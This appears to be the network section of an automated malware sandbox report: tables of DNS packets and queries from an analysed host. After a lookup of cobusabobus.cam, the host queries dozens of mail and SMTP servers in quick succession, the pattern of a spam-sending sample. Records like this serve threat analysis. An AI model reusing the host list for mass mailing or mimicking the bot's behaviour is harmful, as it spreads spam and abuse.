May 19, 2024 17:27:53.215661049 CEST	49164	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.216166019 CEST	52558	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.233284950 CEST	53	51831	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.238045931 CEST	53	55719	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.238075018 CEST	53	59657	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.247703075 CEST	53	52558	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.274168015 CEST	53	60039	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.278983116 CEST	53	54712	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.288892984 CEST	53	53920	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.329689026 CEST	56494	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.369851112 CEST	53	56494	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.379707098 CEST	53	57367	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.424149036 CEST	53	51967	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.449579954 CEST	53	60630	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.454346895 CEST	53	58939	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.495181084 CEST	53	49936	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.542162895 CEST	53	62544	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.726372957 CEST	53	56327	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.871073961 CEST	61802	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.871567011 CEST	63113	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.881551027 CEST	53	49164	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.891661882 CEST	53	63113	1.1.1.1	192.168.2.4
May 19, 2024 17:27:53.973623991 CEST	53204	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:53.980891943 CEST	51719	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:54.007781029 CEST	53	53204	1.1.1.1	192.168.2.4
May 19, 2024 17:27:54.066828966 CEST	53	51719	1.1.1.1	192.168.2.4
May 19, 2024 17:27:54.264344931 CEST	49723	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:54.313705921 CEST	53	61802	1.1.1.1	192.168.2.4
May 19, 2024 17:27:54.358417988 CEST	62826	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:54.362431049 CEST	53	49723	1.1.1.1	192.168.2.4
May 19, 2024 17:27:54.750847101 CEST	53	62826	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.370919943 CEST	54572	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.457962036 CEST	53	54572	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.483618021 CEST	57505	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.483830929 CEST	63573	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.484035969 CEST	58782	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.484584093 CEST	64842	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.484765053 CEST	49512	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.511423111 CEST	53	58782	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.511452913 CEST	53	63573	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.523454905 CEST	53	57505	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.526947021 CEST	53	64842	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.528625011 CEST	53	49512	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.606558084 CEST	50492	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.607059002 CEST	63648	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.607342005 CEST	60006	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.745134115 CEST	53	60006	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.745151043 CEST	53	50492	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.807140112 CEST	54684	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.807404041 CEST	50258	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:55.854891062 CEST	53	63648	1.1.1.1	192.168.2.4
May 19, 2024 17:27:55.855014086 CEST	53	54684	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.140008926 CEST	53300	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.140348911 CEST	52791	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.237164974 CEST	53	52791	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.237194061 CEST	53	53300	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.238815069 CEST	60596	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.345050097 CEST	53899	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.360266924 CEST	53	53899	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.430883884 CEST	53	50258	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.452661037 CEST	60125	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.495171070 CEST	53	60596	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.505897999 CEST	53	60125	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.511657953 CEST	62703	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.511919022 CEST	58660	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.512208939 CEST	58245	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.531392097 CEST	53	62703	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.626207113 CEST	53	58660	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.627363920 CEST	63314	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.745016098 CEST	53	58245	1.1.1.1	192.168.2.4
May 19, 2024 17:27:56.846416950 CEST	50952	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.965409040 CEST	62684	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:56.965665102 CEST	57003	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:57.002849102 CEST	53	57003	1.1.1.1	192.168.2.4
May 19, 2024 17:27:57.246939898 CEST	51758	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:57.310729027 CEST	53	63314	1.1.1.1	192.168.2.4
May 19, 2024 17:27:57.479172945 CEST	53	51758	1.1.1.1	192.168.2.4
May 19, 2024 17:27:57.558340073 CEST	56073	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:57.558603048 CEST	61362	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:57.651596069 CEST	53	50952	1.1.1.1	192.168.2.4
May 19, 2024 17:27:57.698256969 CEST	51784	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:57.698492050 CEST	59230	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:57.713841915 CEST	53	56073	1.1.1.1	192.168.2.4
May 19, 2024 17:27:57.767129898 CEST	53	61362	1.1.1.1	192.168.2.4
May 19, 2024 17:27:57.810558081 CEST	60187	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:57.828006029 CEST	53	60187	1.1.1.1	192.168.2.4
May 19, 2024 17:27:57.880789995 CEST	53	62684	1.1.1.1	192.168.2.4
May 19, 2024 17:27:57.912144899 CEST	53	51784	1.1.1.1	192.168.2.4
May 19, 2024 17:27:57.914225101 CEST	64841	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:57.914443970 CEST	58208	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:57.958523035 CEST	53	58208	1.1.1.1	192.168.2.4
May 19, 2024 17:27:58.022408962 CEST	57647	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:58.077086926 CEST	53	57647	1.1.1.1	192.168.2.4
May 19, 2024 17:27:58.122288942 CEST	53	64841	1.1.1.1	192.168.2.4
May 19, 2024 17:27:58.128057957 CEST	63404	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:58.128396034 CEST	60104	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:58.158421993 CEST	53	60104	1.1.1.1	192.168.2.4
May 19, 2024 17:27:58.330130100 CEST	53	59230	1.1.1.1	192.168.2.4
May 19, 2024 17:27:58.349812984 CEST	53	63404	1.1.1.1	192.168.2.4
May 19, 2024 17:27:58.541558027 CEST	63997	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:58.541811943 CEST	53056	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:58.625917912 CEST	53	53056	1.1.1.1	192.168.2.4
May 19, 2024 17:27:58.733191967 CEST	59337	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:58.837435007 CEST	53	59337	1.1.1.1	192.168.2.4
May 19, 2024 17:27:58.965152025 CEST	53	63997	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.022335052 CEST	54737	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.022991896 CEST	61493	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.081202030 CEST	51635	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.081476927 CEST	55911	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.081660032 CEST	50959	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.081738949 CEST	62948	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.085921049 CEST	53	54737	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.120491028 CEST	53	61493	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.126405954 CEST	53	55911	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.126447916 CEST	53	50959	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.137320995 CEST	53	51635	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.161829948 CEST	53	62948	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.180404902 CEST	56357	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.180634975 CEST	59027	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.245125055 CEST	53	56357	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.245197058 CEST	53	59027	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.594527960 CEST	64041	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.649491072 CEST	53	64041	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.696630955 CEST	55940	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.696876049 CEST	55314	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.731698036 CEST	53	55940	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.783267021 CEST	53	55314	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.828382015 CEST	53803	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.828677893 CEST	56317	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.830199003 CEST	60645	53	192.168.2.4	1.1.1.1
May 19, 2024 17:27:59.869864941 CEST	53	53803	1.1.1.1	192.168.2.4
May 19, 2024 17:27:59.964488029 CEST	53	60645	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.021012068 CEST	53	56317	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.029261112 CEST	50716	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.029818058 CEST	51252	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.030035973 CEST	59599	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.067439079 CEST	53	50716	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.157757044 CEST	60933	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.158030987 CEST	65452	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.158243895 CEST	50038	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.263788939 CEST	56054	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.271847963 CEST	53	60933	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.355876923 CEST	53	51252	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.361339092 CEST	53	65452	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.382632971 CEST	51173	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.401907921 CEST	53	51173	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.496978998 CEST	59614	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.549263954 CEST	53	59614	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.571645021 CEST	57258	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.588932991 CEST	53	56054	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.627527952 CEST	53	57258	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.666150093 CEST	55705	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.693202972 CEST	53	55705	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.805600882 CEST	53842	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:00.827346087 CEST	53	53842	1.1.1.1	192.168.2.4
May 19, 2024 17:28:00.902461052 CEST	53114	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:01.021765947 CEST	59599	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:01.147128105 CEST	50038	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:01.153388977 CEST	55221	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:01.153630018 CEST	61988	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:01.213372946 CEST	53	53114	1.1.1.1	192.168.2.4
May 19, 2024 17:28:01.213438988 CEST	53	61988	1.1.1.1	192.168.2.4
May 19, 2024 17:28:01.249800920 CEST	53	59599	1.1.1.1	192.168.2.4
May 19, 2024 17:28:01.249830008 CEST	53	59599	1.1.1.1	192.168.2.4
May 19, 2024 17:28:01.308245897 CEST	56328	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:01.308598995 CEST	61858	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:01.352452040 CEST	57387	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:01.417285919 CEST	53	57387	1.1.1.1	192.168.2.4
May 19, 2024 17:28:01.417315960 CEST	53	55221	1.1.1.1	192.168.2.4
May 19, 2024 17:28:01.516148090 CEST	53	56328	1.1.1.1	192.168.2.4
May 19, 2024 17:28:01.651235104 CEST	53	61858	1.1.1.1	192.168.2.4
May 19, 2024 17:28:02.146116018 CEST	50038	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.295845032 CEST	63632	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.296169043 CEST	54496	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.296834946 CEST	55752	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.297415972 CEST	59463	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.297672987 CEST	50144	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.298846006 CEST	61044	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.299181938 CEST	56253	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.299568892 CEST	62716	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.299876928 CEST	52341	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.300242901 CEST	51351	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.300426006 CEST	50704	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.300574064 CEST	54321	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.301068068 CEST	50235	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.301229000 CEST	61875	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.312077045 CEST	53	56253	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.312141895 CEST	53	62716	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.316859007 CEST	53	55752	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.316890955 CEST	53	51351	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.323889017 CEST	53	59463	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.324028969 CEST	53	61044	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.328725100 CEST	53	61875	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.328870058 CEST	53	63632	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.333537102 CEST	53	50704	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.338516951 CEST	53	50144	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.339518070 CEST	55261	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.339850903 CEST	62956	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.374090910 CEST	53	55261	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.394079924 CEST	53	50235	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.408766985 CEST	53	62956	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.428287983 CEST	53	52341	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.487874985 CEST	53895	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.488075972 CEST	50365	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.512224913 CEST	53	50365	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.589432001 CEST	53	53895	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.602585077 CEST	53534	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.621129990 CEST	53	53534	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.697911024 CEST	64201	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.698138952 CEST	56346	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.715873003 CEST	53	54321	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.720998049 CEST	53	64201	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.841799974 CEST	60199	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.842871904 CEST	53354	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.843281031 CEST	55341	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.843281031 CEST	57163	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.899550915 CEST	53	55341	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.948379040 CEST	53	53354	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.949242115 CEST	49789	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:03.994468927 CEST	53	49789	1.1.1.1	192.168.2.4
May 19, 2024 17:28:03.994486094 CEST	53	60199	1.1.1.1	192.168.2.4
May 19, 2024 17:28:04.003241062 CEST	56658	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:04.026865005 CEST	53	56658	1.1.1.1	192.168.2.4
May 19, 2024 17:28:04.139313936 CEST	63850	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:04.139379978 CEST	55906	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:04.146959066 CEST	50038	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:04.153712988 CEST	53	63850	1.1.1.1	192.168.2.4
May 19, 2024 17:28:04.260284901 CEST	53	55906	1.1.1.1	192.168.2.4
May 19, 2024 17:28:04.286712885 CEST	54496	53	192.168.2.4	1.1.1.1
May 19, 2024 17:28:04.291588068 CEST	53	57163	1.1.1.1	192.168.2.4
May 19, 2024 17:28:04.291673899 CEST	53	56346	1.1.1.1	192.168.2.4
May 19, 2024 17:28:04.632503986 CEST	53	54496	1.1.1.1	192.168.2.4
May 19, 2024 17:28:04.637274981 CEST	53	54496	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 19, 2024 17:26:01.694060087 CEST	192.168.2.4	1.1.1.1	0x675d	Standard query (0)	cobusabobus.cam	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.111994982 CEST	192.168.2.4	1.1.1.1	0x12cc	Standard query (0)	abv.bg	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.268157959 CEST	192.168.2.4	1.1.1.1	0x7f90	Standard query (0)	mail.unionpayroll.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.268452883 CEST	192.168.2.4	1.1.1.1	0x839	Standard query (0)	m.dogspot.in	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.269393921 CEST	192.168.2.4	1.1.1.1	0xb129	Standard query (0)	aon.at	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.270039082 CEST	192.168.2.4	1.1.1.1	0xc2	Standard query (0)	mail.i.ua	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.270267010 CEST	192.168.2.4	1.1.1.1	0xc6a4	Standard query (0)	smtp.me.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.271251917 CEST	192.168.2.4	1.1.1.1	0x18d1	Standard query (0)	mail.optum.com.dev	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.406687021 CEST	192.168.2.4	1.1.1.1	0x7d39	Standard query (0)	meta.ua	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.409575939 CEST	192.168.2.4	1.1.1.1	0xdc7	Standard query (0)	smtp.ig.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.534279108 CEST	192.168.2.4	1.1.1.1	0xe8b0	Standard query (0)	sympatico.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.535722971 CEST	192.168.2.4	1.1.1.1	0x4f0e	Standard query (0)	smtp.tds.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.537578106 CEST	192.168.2.4	1.1.1.1	0xc5ea	Standard query (0)	nate.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.784852028 CEST	192.168.2.4	1.1.1.1	0xeb4c	Standard query (0)	mail.hot.ee	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.786073923 CEST	192.168.2.4	1.1.1.1	0x3936	Standard query (0)	hzmx01.mxmail.netease.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.786221981 CEST	192.168.2.4	1.1.1.1	0x7d48	Standard query (0)	securesmtp.iokugoi.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.886825085 CEST	192.168.2.4	1.1.1.1	0x95d0	Standard query (0)	securesmtp.ceresiosim.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.887345076 CEST	192.168.2.4	1.1.1.1	0x6cdd	Standard query (0)	secure.academy.vipcapitalfx.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.024722099 CEST	192.168.2.4	1.1.1.1	0x63ce	Standard query (0)	smtp.siol.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.025151968 CEST	192.168.2.4	1.1.1.1	0xdbf	Standard query (0)	smtp.winkworthconsulting.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.026163101 CEST	192.168.2.4	1.1.1.1	0xc807	Standard query (0)	secure.dr-gehring.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.141372919 CEST	192.168.2.4	1.1.1.1	0x4102	Standard query (0)	out.ctg-95.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.141578913 CEST	192.168.2.4	1.1.1.1	0x364c	Standard query (0)	smtp.virgilio.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.141697884 CEST	192.168.2.4	1.1.1.1	0xa87c	Standard query (0)	temporary-mail.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.142930984 CEST	192.168.2.4	1.1.1.1	0x4cb6	Standard query (0)	out.provcos.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.295470953 CEST	192.168.2.4	1.1.1.1	0x4668	Standard query (0)	mail.mikeandcheryl.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.298615932 CEST	192.168.2.4	1.1.1.1	0x5f43	Standard query (0)	smtp.bbox.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.298616886 CEST	192.168.2.4	1.1.1.1	0x4c25	Standard query (0)	securesmtp.aigpol.be	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.299869061 CEST	192.168.2.4	1.1.1.1	0x8fe3	Standard query (0)	noos.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.433461905 CEST	192.168.2.4	1.1.1.1	0xfe65	Standard query (0)	out.samu.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.435312986 CEST	192.168.2.4	1.1.1.1	0x5ed0	Standard query (0)	smtp.fondazioneitscatania.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.437421083 CEST	192.168.2.4	1.1.1.1	0xae61	Standard query (0)	smtp.sbg.at	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.438632965 CEST	192.168.2.4	1.1.1.1	0xa6e9	Standard query (0)	kefgames.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.439575911 CEST	192.168.2.4	1.1.1.1	0xfb55	Standard query (0)	smtp.bex.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.480422020 CEST	192.168.2.4	1.1.1.1	0xd648	Standard query (0)	smtp.netzero.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.480941057 CEST	192.168.2.4	1.1.1.1	0xc96a	Standard query (0)	securesmtp.564269.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.481693983 CEST	192.168.2.4	1.1.1.1	0x441a	Standard query (0)	smtp.nubcakes.co.cc	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.482637882 CEST	192.168.2.4	1.1.1.1	0x3539	Standard query (0)	mail.trinipulse.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.587810993 CEST	192.168.2.4	1.1.1.1	0xe094	Standard query (0)	mail.bsliquors.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.588813066 CEST	192.168.2.4	1.1.1.1	0xd1f2	Standard query (0)	mail.essepiauto.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.719885111 CEST	192.168.2.4	1.1.1.1	0xaa11	Standard query (0)	securesmtp.alunoavemaria.g12.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.721034050 CEST	192.168.2.4	1.1.1.1	0xbb7d	Standard query (0)	out.ccmedia.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.722192049 CEST	192.168.2.4	1.1.1.1	0xf7a3	Standard query (0)	smtp.studentnbed.nb.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.723272085 CEST	192.168.2.4	1.1.1.1	0xac4c	Standard query (0)	securesmtp.vieiracessorios.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.723893881 CEST	192.168.2.4	1.1.1.1	0x6738	Standard query (0)	securesmtp.harborwc.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.843769073 CEST	192.168.2.4	1.1.1.1	0x2957	Standard query (0)	mail.bg	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.844805002 CEST	192.168.2.4	1.1.1.1	0xdb08	Standard query (0)	hamamatsu.se	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.877476931 CEST	192.168.2.4	1.1.1.1	0x4228	Standard query (0)	heritage-title.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.878436089 CEST	192.168.2.4	1.1.1.1	0x3a83	Standard query (0)	out.oratorica.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.879492044 CEST	192.168.2.4	1.1.1.1	0xa04e	Standard query (0)	smtp.cyberia.net.lb	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.880913019 CEST	192.168.2.4	1.1.1.1	0x4200	Standard query (0)	out.alpi-med.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.881536007 CEST	192.168.2.4	1.1.1.1	0x5423	Standard query (0)	smtp.cooperagroup.es	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.882900953 CEST	192.168.2.4	1.1.1.1	0x31ef	Standard query (0)	smtp.tpg.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.976007938 CEST	192.168.2.4	1.1.1.1	0x2868	Standard query (0)	mail.rcn.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.976795912 CEST	192.168.2.4	1.1.1.1	0xa91	Standard query (0)	mx.generic-isp.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.978194952 CEST	192.168.2.4	1.1.1.1	0xa0bd	Standard query (0)	smtp.maharahr.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.979038000 CEST	192.168.2.4	1.1.1.1	0x5da0	Standard query (0)	secure.iqasllc.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.979856014 CEST	192.168.2.4	1.1.1.1	0x8f5d	Standard query (0)	adultbizevents.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.080173969 CEST	192.168.2.4	1.1.1.1	0x6195	Standard query (0)	mail.soulether.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.081417084 CEST	192.168.2.4	1.1.1.1	0x90ec	Standard query (0)	mail.interlang.es	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.200375080 CEST	192.168.2.4	1.1.1.1	0x6184	Standard query (0)	docomo.ne.jp	A (IP address)	IN (0x0001)	false
